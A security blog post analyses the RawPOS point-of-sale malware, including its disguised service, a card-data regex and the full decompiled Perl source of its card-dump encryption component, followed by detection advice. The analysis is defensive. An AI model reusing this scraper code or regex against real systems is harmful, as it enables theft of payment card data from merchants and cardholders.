A Newer Variant of RawPOS in Depth

April 25, 2016 | Melia Kelley

RawPOS – A History

RawPOS (also sometimes referred to as Rdasrv from the original service install name) is a Windows based malware family that targets payment card data. It has been around at least since 2011, if not much earlier. Despite it being very well known and the functions it performs easy to understand, RawPOS continues to prove extremely effective in perpetuating long-term and devastating card breaches to this day. Similar to its cousin, BlackPOS, this malware targets industries including Retail, Hospitality and Casinos.

As effective as it is, RawPOS is anything but an elegant piece of coding. Over time, it has evolved into a Frankenstein’s Monster with code patched and spliced to carry out whatever task the malicious actors who use it want to attempt.

The enduring success of RawPOS highlights some of the fundamental failings of traditional security defenses. For the many companies still relying heavily on signature based detection, and lacking a built in exfiltration detection mechanism to use for traffic flow analysis, all it takes is a simple name change and tweak for the attackers to continue evading detection at the next victim.

In fact, though discovered months ago, one of the samples this article will examine is still not, at the time of the writing of this article, recognized by any of the 55 Anti-Virus engines on Virus Total. It perhaps isn’t any wonder, then, that some of the largest breaches go on for months, if not years.

At its core, RawPOS simply scrapes RAM (volatile memory) for a regular expression that will capture track1 and track2 payment card data. Once captured, the card data is placed into a dump file to await exfiltration. However, while the memory scraping is the main purpose, one of the common themes with this specific malware is how it works with other pieces of code to perform additional malicious functions. In its early iterations, the RawPOS memory scraper would be simply be paired up with a persistence mechanism used to ensure that the malware would automatically resume if the infected machine restarted. As time went on, an additional component was added to encrypt the dump file.

Impact

There are many great articles on RawPOS and its impact. Starting in March of last year, Visa began issuing alerts to the hotel industry that they were being specifically targeted by this particular brand of malware. Casinos and retailers, however, were also not immune. The number of credit cards stolen using this malware type is unknown, but with just the Goodwill breach topping 800,000+ the number is sure to be staggering.

However, rather than focus on the impact, this article will attempt to dive a bit deeper into a specific sample of RawPOS to show some of how it operates “under the hood”. While this malware type is constantly in flux and it is almost a given that it will continue to evolve, a lot can be learned by examining recently used techniques.

Persistence Mechanism

The first piece of the three-part RawPOS process to infect a system is the persistence mechanism. Its role is to ensure that the actual credit card scraping malware stays active on the system, even after a reboot. Essentially when RawPOS runs, it installs the next component as a Windows Service. A Windows Service is essentially an application that runs continuously in the background on a system. The file name for the sample we will examine is MSFSVC.exe. (Other persistence iterations include file names such as rdasrv.exe and sppt32.exe)

When a Service is created on a system, the Service author can choose to name it pretty much however it wants. In this case, the malicious service was given the name “Microsoft File Manager Services”. Similarly, any description can be given and the description for the Service created by this malicious program was:

Creates, updates, manages, and removes files for applications such as S/MIME and SSL. If this service is stopped, certificates will not be created. If this service is disabled, any services that explicitly depend on it will fail to start.

The Service itself is not signed by Microsoft, but this demonstrates how attackers can very easily “hide in plain sight” on a given system. Without some external prompting, very few admins would recognize this Service as part of a larger data breach. However, when you look at the action the Service actually performs, the impact is clear. The argument upon execution is:

start /min msiert.exe

This will start the msiert.exe program minimized, which we will discuss shortly.

As of the writing of this report, only 25 out of 55 AV engines on VirusTotal recognize the hash for the persistence mechanism as a threat.

Memory Scraper

Here is the process flow of how these specific pieces of malware work together:

So, even though the Service initiates by running msiert.exe, it then kicks off avicap.exe before performing additional functions. We are going to discuss the role of avicap.exe to show how this malware scrapes the memory (RAM).

In the case of stealing credit card data the purpose of memory scrapers is to circumvent existing security controls protecting data at rest and in transit - for example, by the requirement for Merchants to utilize encryption. When attackers recognized they could no longer just sniff the network for PCI data or grab a stored data file, they moved on to finding it in its ephemeral state in memory.

Even with additional security measures, many locations taking credit card data will have Track1 and/or Track2 data unencrypted in memory, though very short lived, for processing at some point. Memory scrapers such as avicap.exe simply monitor memory and look for certain regular expressions (regex) that match CHD. Below is the regular expression used for avicap.exe:

((B(([0-9]{13,16})|([0-9]|s){13,25})^[A-Zs0-9]{0,30}/[A-Zs0-9]{0,30}^[0-9]{2}((0[1-9])|(1[0-2]))([0-9]|s){3,50})|([0-9]{15,16}(D|=)[0-9]{2}((0[1-9])|(1[0-2]))[0-9]{8,30})|(<Field name="CardNumber">[0-9]{15,19}</Field>)|(~CCM[0-9]{15,19}D[0-9]{4}~))

If data matching this regular expression is found, the program will create a folder called “Memdump” in the current working directory and will begin to export the regex hits. Earlier versions of the malware, such as the original rdasrv, were known to simply dump the scraped cardholder data unencrypted into a file called data.txt to wait for exfiltration. Newer versions, such as this particular sample, instead place the data into a .dmp file named after the memory process id that data was found inside. That data will then be moved into an encrypted file for exfiltration using the encryption routine detailed below.

The names of various iterations of this type of memory scraper vary widely. As of the writing of this report, none of the 55 AV engines on VirusTotal recognized our sample avicap.exe as a threat.

Encryption Routine

Once the payment card data has been identified, scraped and aggregated, the malware is ready to execute its next function. The Service called up a program called msiert.exe. Names for other versions of this piece of the malware vary, but as time has gone on, the naming choices seem to reflect the wish to remain low profile on a given system. For example, though msiert.exe is not the name of a valid Windows process, it very much looks like some that are. For example, msiexec.exe is the name of a valid Windows Installer Component. One version of the malware I observed was called sqlmgmt.exe and even after we discovered it was a virus, we had to convince our client’s IT staff to remove it, since they were concerned doing so would disrupt their running instance of SQL.

But now on to what this malware actually does. The executable starts the Memory Scraper discussed above, but also performs additional data obfuscation tasks. This executable is interesting because of the actions it performs, but has also notable because it utilizes Perl2Exe. Perl2Exe is a program that will allow the conversion of Perl scripts into Windows executables. The good news for Incident Responders and Forensic Investigators is that Perl2Exe executables are very “loud” and easy to spot if it has been run on a system.

Additionally, there is a way to “break” the code and get the original Perl Source code itself[1], down to the Russian comments and encryption password. For those that want to dig in deeper the full content of the Perl source code is included below:

#!/usr/bin/perl# Подключаем основные модули
# 24.03.2008
#               - При обнаружении в файле данных соотвествующих строке поиска (regex)
#                 прекращать обработку файла.
# 24.09.2013
#               - Шифрование кеша.
#               - Обнуление mtimes для удаленных файлов (незначительный баг).
#perl2exe_include "bytes.pm";
#perl2exe_include "Tie/Handle.pm";
#perl2exe_include "Math/BigInt/Calc.pm";
use Digest::MD5 qw { md5_hex };
use strict;
use warnings;
use FileHandle;
use Win32API::File::Time qw{:win};
use POSIX qw{floor};
use Win32::Process;
use Win32::Process::List;
use Win32::Process::Info qw{NT};
use Time::Local;
no warnings 'threads';
my $password = "anonymousgroup";
my $dir="memdump";
my $logfile="dxva32.dll";
my $command = "avicap.exe";
my $commandruntimelimit = "300";
my $commandrestarttime = 30;
my $commandstarttime = 0;
require "D:\Secure\Tools\Include\times.pm";
require "D:\Secure\Tools\Include\regex-t.pm";
my $hashpassword = "doesnotmatter";
$|=1;

my @t = localtime(time);
my $gmtoff = timegm(@t) - timelocal(@t);

use vars '$dbh', '$url_start', '$dir_start', '@dir_filter', '@file_type_exclude','$version','$regex','$maxlivetime','$debug','@file_name_include','$dietime', '@tracks','%in_tracks';
use vars '%mtimes','%atimes';
$version="Version 1.3 MultiThread from 25.03.2008";
#$regex = '([0-9]{15,19}(=|D)1[0-9]((0[1-9])|(1[0-2]))[0-9]{8,20})';
#$maxlivetime = 86400*30*6; # последнее обновление файла, примерно пол года
$debug = 'off';
#if ( time  > $dietime ) { die("Can't open Handle/Tie.PM!"); };
# Фильтр директорий (директории, которые исключаются из индексации)
    @dir_filter = (
                    'images',
                    'temp',
                                   'INBOX',
                                   'inbox',
                                   'i386',
                                   'I386',
                                   'recycler',
                                   'RECYCLER'
                   );
# Фильтр файлов (какие расширения файлов индексировать)
    @file_type_exclude = (
                   'exe','ex_',                     # Executables
                   'dll','dl_',                     # Libraries
                   'cab','msi',                     # Cabinet/Installs
                   'chm','hlp',                     # Help files
                   'mid','midi',                    # Sound files (MID)
                   'rar','zip','tgz','gz',          # Archives
                   'mp3','wma','wav',               # Sound files (MPEG)
                   'avi','mov','wmv','mpeg',        # Video files
                   'png','jpg','tiff','bmp','gif',  # Pictures
                   'iso',                           # ISO Images
                   'swf',                           # Flash files
                   'htm','html',                    # HTML Pages
                   'asp','aspx',                    # ASP Sciprts
                   'vbs','pl','php','cgi',          # Perl, PHP, etc Scritps
                   'c','h',                         # C files
                   'psd',                           # Presentations
                   'pdf',                           # Acrobar Reader files
                   'grd'                            # Strong Disk files
                  );
# Всегда пишем в лог эти файлы:
    @file_name_include = (
                   'icverify.lrq'
    );
# Сразу отправляем заголовок браузеру
#    print "Content-type: text/html; charset=windows-1251

";

my $time = time();

if ( 1 == 1 ) {
    $dir_start=$dir;
    print "Start dir: $dir_start
" if $debug eq 'on';
    print "Monitoring...
" if $debug eq 'on';
    while (1==1) {
      &killandstart;
      &recursion($dir_start);
      sleep(1);
    };
    exit(0);
};

exit;

sub recursion {
    my $dir_start = $_[0];
#    print "dir start = " . $_[0] . "
";
# Получаем текущую директорию рекурсии относительно DocumentsRoot
#    print "Entering recursion...
";
# Формируем абсолютный путь текущей директории
    my $pos = index $dir_start,'\';
    if ( $pos == 0 ) { $dir_start = substr($dir_start,2); $dir_start =~ s/\///; $dir_start = '\\' . $dir_start; }
    else { $dir_start =~ s/\///; }

    my $dir = $dir_start;
    $pos = index $dir,'//';
    while ( $pos >= 0 )
    {
      my $predir = substr $dir,0,$pos;
      my $postdir =  substr $dir,$pos+1;
      $dir = $predir . $postdir;
      $pos = index $dir,'//';
    };
    my $mtime = 0, my $ctime = 0, my $atime = 0;
    print "Working in DIR: = $dir =
" if $debug eq 'on';

# Объявляем локальным переменные FOLDER (в основном нам нужен дескриптор*)
    return if !(-d $dir);
    local *FOLDER;
# Открываем директорию
    opendir (FOLDER, $dir);
# И последовательно считываем
    while (my $item = readdir FOLDER) {
        next if $item eq '.' || $item eq '..';
        my $path = $dir_start.('').'/'.$item;
        $path = lc $path;
        my $relativepath = ('').'/'.$item;
        my $pos = index $path,'//';
        while ( $pos >= 0 )
        {
          my $predir = substr $path,0,$pos;
          my $postdir =  substr $path,$pos+1;
          $path = $predir . $postdir;
          $pos = index $path,'//';
        };
#        print "debug path: $path
";
# Если элемент списка - директория, то порождаем процедуру вглубь рекурсии
#        if ( map {$relativepath =~ /^/$_/} @dir_filter ) { print "ver1
"; };
#        if ( map {$path =~ /^/$_/} @dir_filter ) { print "ver2
"; };
#        if ( map {$item =~ /$_$/} @dir_filter ) { print "ver3
"; };
#        if ( map ($item,@dir_filter) ) { print "ver4
"; };
#        if ( map {$mappath =~ /^/$_/} @dir_filter ) { print "ver5
"; };
        &recursion($path) if -d $path && (!map {$item =~ //$_$/} @dir_filter);
# Если элемент списка - файл, то передаем относительный путь к нему в процедуру обработки
        &file_parse($path) if -f $dir.'/'.$item && (!map {$path =~ /.$_$/} @file_type_exclude) && ( $item ne 'dirmon.log');
    }
# Закрываем директорию
    $mtime = 0, $ctime = 0, $atime = 0;
    ($atime, $mtime, $ctime) = GetFileTime ($dir);
    $atimes{$dir} = $atime;

    close FOLDER;
    return 1;
}

sub file_parse {
  my $path=$_[0];
  my $fh = new FileHandle;
  my $mtime = 0, my $ctime = 0, my $atime = 0;
  ($atime, $mtime, $ctime) = GetFileTime ($path);
  my $time=time;

  print "File: $path ... " if $debug eq 'on';
  if (defined($mtimes{$path})) {
    if ( $mtimes{$path} == $mtime ) { return; };
  };
  $mtimes{$path} = $mtime;

#  return if ( !(defined($mtime)) || !(defined($ctime)) );
#  $mtime = $ctime if ( $ctime > $mtime );
#  print "Too old
" if (( $time-$maxlivetime > $mtime ) and ($debug eq 'on'));
#  return if ( $time-$maxlivetime > $mtime );

  if (!( $path=~ /.prc$/  )) { rename("$path","$path.prc"); $path.=".prc"; };
  if (!$fh -> open("< $path")) {
    print "error opening file!
" if $debug eq 'on'; 
    return;
  };
  print "OK
" if $debug eq 'on';
  my $block = "";
  my $total++;
  my %seen;
  my $count=0;
  my $goodcount=0;
  my $printed=0;
  my $fnwritten=0;
  while (read($fh,$block,65536)) {
    while ( $block =~ m/($regex)/g ) { 
      if ( $fnwritten == 0 ) {
        print "File: $path
" if $debug eq 'on';
        $fnwritten=1;
      };
      my $ln=$1; chomp($ln);
      my $trackhash = md5_hex("$1:$hashpassword");
      if (!( $in_tracks { $trackhash } )) {
        open(O,">>$logfile");
        print "$ln
" if $debug eq 'on';
        print O "$$$" . encrypt("$path found: $ln",$password) . "
";
        push @tracks,$trackhash;
        @in_tracks { @tracks } = (1) x @tracks;
        close(O);
        my $newdate=int(rand(100000000))+1167700000;
        SetFileTime ($logfile,$newdate,$newdate,$newdate);
      };
      $ln = "4000000000000000=15011010000000000";
    };
    $block = "" x 65536;
  };
  $fh->close;
  unlink($path);
  $mtimes{$path} = 0;
};

sub encrypt {
  my $string = $_[0];
  my $password = $_[1];
  my $xorpassword;
  while ( length($xorpassword) < length ($string) ) {
    $xorpassword.=$password if ( length($xorpassword)+length($password) < length ($string) );
    $xorpassword.=substr($password,0,(length($string)-length($xorpassword)));
  };
#  print "L: ".length($string)." L2: ".length($xorpassword)."
";
  return $string ^ $xorpassword;
};

sub killandstart {
  my $pi = Win32::Process::Info->new ();
  my $P = Win32::Process::List->new();
  my %list = $P->GetProcesses();
  my $today = time-$gmtoff;
  my $count = 0;
  foreach my $key (keys %list) {
        # $list{$key} is now the process name and $key is the PID
        next if ( $list{$key} ne $command );
        $count++;
        my @info = $pi->GetProcInfo ($key);
#        print "Today: $today
Info: ".$info[0]{"CreationDate"}."
TL: $commandruntimelimit R: ".($today- $info[0]{"CreationDate"})."
";
        if (( ($today - $info[0]{"CreationDate"}) > $commandruntimelimit ) && ( $list{$key} eq $command )) {
                          $commandstarttime = $info[0]{"CreationDate"};
          Win32::Process::KillProcess($key,"0");
        };
  }; 
#  print "C: $count CST: $commandstarttime CSTTD: ".($today-$commandstarttime)."
";
  if (( $count == 0 ) && ( ($today - $commandstarttime) > $commandrestarttime )) {
    system("start /min $command");
    $commandstarttime = time-$gmtoff;
  };
};

Key Takeaways

There are many activities to be gleaned from the source code, and a full review of all the tasks is outside the scope of this article. Some of the high level take-aways from the source code review are:

  • Assuming certain time dependencies, the program avicap.exe will be run (this is the Memory Scraping portion of the malware discussed above)
  • The program will monitor the memdump folder where avicap.exe dumped plain text credit card data
  • Credit card data will then be encrypted and placed in a file called dxva32.dll
  • The encrypted dump file will then be time-stamped

One of the noteworthy observations from reviewing the code is how many commands are commented out. To me, this is characteristic of a code base that is constantly evolving and being repurposed as needed to suit new environments and evade detection. But not only is it full of legacy commands, the fact it utilizes the very noisy Perl2Exe makes it easier for investigators to spot – if they know what to look for. Not exactly pretty. But given how effective it has been, it doesn’t need to be. It works. As of the writing of this report, only 15 out of 55 of the AV solutions in VirusTotal recognized the hash of this sample as malicious.

Prevention, Detection and Mitigation

There is no silver bullet for RawPOS prevention, but there are some things that could be done to make it more difficult for RawPOS to execute successfully. Whitelisting ONLY approved programs is a good, but aggressive, approach to take. For this and many other versions of RawPOS, having Perl2Exe and other administrative tools that the attackers use for propagation (such as PsExec) blacklisted would be another, less drastic, route.

Visibility on endpoints to determine what is running and identify anomalous processes is critical for both preventing the spread of malicious actors in the environment, as well as finding and mitigating more quickly. Numerous endpoint threat detection and response products and services exist to attain the necessary visibility. Even companies that do not operate a full-time SOC can get the benefits of these detection capabilities through a managed security service provider (MSSP).

Since RawPOS is continually changing, and it seems to often target a specific environment, it can be difficult to detect. That said, this article has illuminated some ways to do it. Open source Yara signatures for RawPOS are available online that can be run in the environment to look for specific activities, rather than specific files. Investigators can also take the time to look for Perl2Exe artifacts and the Memdump folder for additional clues to its presence. (Note: If other Perl2Exe programs are run on the system legitimately, those artifacts may not be an indicator of compromise). A seasoned investigator with endpoint visibility can also employ a range of “hunting” techniques to discover this type of activity.

Where Do We Go From Here?

“But wait,” you may be thinking, “won’t the roll out of EMV chip cards make this kind of malware obsolete?”

The bad news is, actually it won’t. While EMV chips contain an additional dynamic element making physical cloning much more difficult than the static track data, the fact is that data from the chip is still being read into memory, meaning this malware can still read and aggregate it. Chip data, similar to track data, includes information such as Credit Card Number (PAN) and cardholder name and more. Plus, while the rollout of EMV is well on its way, Track Data isn’t going anywhere any time soon.

Another thing to consider is that anything that can be searched for using a regular expression can be aggregated and pulled using this type of malware. Social Security Numbers, telephones, email addresses - the list goes on and on. It would be simple to employ a similar concept on a large scale to steal other types of black marketable information. While it can be difficult to anticipate where the attackers will strike next, we can all agree that our adversaries are busy developing the next exploit. We can only hope that by taking the time to learn their methods and techniques, we can incrementally reduce our exposure.

About the Author

As a member of UnitedLex’s Cyber Risk Solutions practice, Melia works with clients on a wide range of incident response and risk assessment engagements. During her career, Melia has worked on a large number of high profile data breaches both domestically and internationally, including significant cases with Payment Card Industry data breaches. Melia began her career in eDiscovery and has spent many years doing eDiscovery processing and Project Management, Computer Forensics, Incident Response, and even performed Media Exploitation in Iraq. She has worked as a Subject Matter Expert for the United States Secret Service and trained Special Agents in performing Network Intrusion Investigations.

[1] http://www.thice.nl/perl2exe-back-to-perl-2014/

Melia Kelley

About the Author: Melia Kelley, UnitedLex

As a member of UnitedLex’s Cyber Risk Solutions practice, Melia works with clients on a wide range of incident response and risk assessment engagements. During her career, Melia has worked on a large number of high profile data breaches both domestically and internationally, including significant cases with Payment Card Industry data breaches. Melia began her career in eDiscovery and has spent many years doing eDiscovery processing and Project Management, Computer Forensics, Incident Response, and even performed Media Exploitation in Iraq. She has worked as a Subject Matter Expert for the United States Secret Service and trained Special Agents in performing Network Intrusion Investigations.

Read more posts from Melia Kelley ›

TAGS:

‹ BACK TO ALL BLOGS

Get the latest security news in your inbox.

Subscribe via Email

Watch a Demo ›
Get Price Free Trial